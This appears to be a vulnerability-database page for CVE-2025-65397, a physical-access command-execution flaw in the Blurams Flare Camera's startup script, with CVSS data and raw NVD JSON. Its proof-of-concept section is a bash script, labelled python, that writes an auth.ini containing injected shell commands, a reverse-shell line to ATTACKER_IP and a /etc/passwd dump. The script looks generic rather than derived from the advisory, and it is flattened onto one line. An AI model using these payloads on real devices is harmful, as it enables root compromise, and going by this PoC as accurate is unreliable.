Security Vulnerability Report
中文
CVE-2025-65397 CVSS 6.8 MEDIUM

CVE-2025-65397

Published: 2026-01-14 18:16:42
Last Modified: 2026-02-03 18:32:06

Description

An insecure authentication mechanism in the safe_exec.sh startup script of Blurams Flare Camera version 24.1114.151.929 and earlier allows an attacker with physical access to the device to execute arbitrary commands with root privileges, if file /opt/images/public_key.der is not present in the file system. The vulnerability can be triggered by providing a maliciously crafted auth.ini file on the device's SD card.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:blurams:dome_flare_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:blurams:dome_flare:-:*:*:*:*:*:*:* - NOT VULNERABLE
Blurams Flare Camera <= 24.1114.151.929

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-65397 PoC - Blurams Flare Camera Authentication Bypass # Author: Security Researcher # Description: Exploit for unsafe authentication in safe_exec.sh startup script # Prerequisites: Physical access to Blurams Flare Camera device # Step 1: Prepare SD card (must be FAT32 formatted) # Insert SD card and format it # sudo mkfs.vfat -F 32 /dev/sdX # Step 2: Create malicious auth.ini file # The auth.ini file contains authentication data that exploits # the insecure fallback authentication mechanism cat > auth.ini << 'EOF' [auth] username=root password=;reboot; # Alternative payload for reverse shell: # password=;nc -e /bin/sh ATTACKER_IP 4444; [exec] command=;cat /etc/passwd > /tmp/passwd_dump;chmod 777 /tmp/passwd_dump; EOF # Step 3: Copy malicious auth.ini to SD card root cp auth.ini /media/sdcard/ # Step 4: Insert SD card into Blurams Flare Camera device # Ensure /opt/images/public_key.der does NOT exist on the device # If it exists, the device uses secure authentication # Step 5: Reboot the device # The safe_exec.sh startup script will: # - Check for /opt/images/public_key.der (should not exist) # - Fall back to reading auth.ini from SD card # - Execute commands with root privileges # Step 6: Extract data after exploitation # ssh root@device_ip # or access via UART/JTAG # Note: This PoC demonstrates the vulnerability. Use only for authorized testing.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65397", "sourceIdentifier": "[email protected]", "published": "2026-01-14T18:16:41.680", "lastModified": "2026-02-03T18:32:05.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An insecure authentication mechanism in the safe_exec.sh startup script of Blurams Flare Camera version 24.1114.151.929 and earlier allows an attacker with physical access to the device to execute arbitrary commands with root privileges, if file /opt/images/public_key.der is not present in the file system. The vulnerability can be triggered by providing a maliciously crafted auth.ini file on the device's SD card."}, {"lang": "es", "value": "Un mecanismo de autenticación inseguro en el script de inicio safe_exec.sh de la cámara Blurams Flare versión 24.1114.151.929 y anteriores permite a un atacante con acceso físico al dispositivo ejecutar comandos arbitrarios con privilegios de root, si el archivo /opt/images/public_key.der no está presente en el sistema de archivos. La vulnerabilidad puede ser activada al proporcionar un archivo auth.ini maliciosamente diseñado en la tarjeta SD del dispositivo."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-287"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:blurams:dome_flare_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "24.1114.151.929", "matchCriteriaId": "7DF75DE9-F147-44E6-9DBC-567B852365B2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:blurams:dome_flare:-:*:*:*:*:*:*:*", "matchCriteriaId": "D5924B6A-3F95-490D-B119-0ECF8D988F3A"}]}]}], "references": [{"url": "http://blurams.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://flare.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://lessonsec.com/cve/cve-2025-65397/", "source": "[email protected]", "tags": ["Broken Link"]}]}}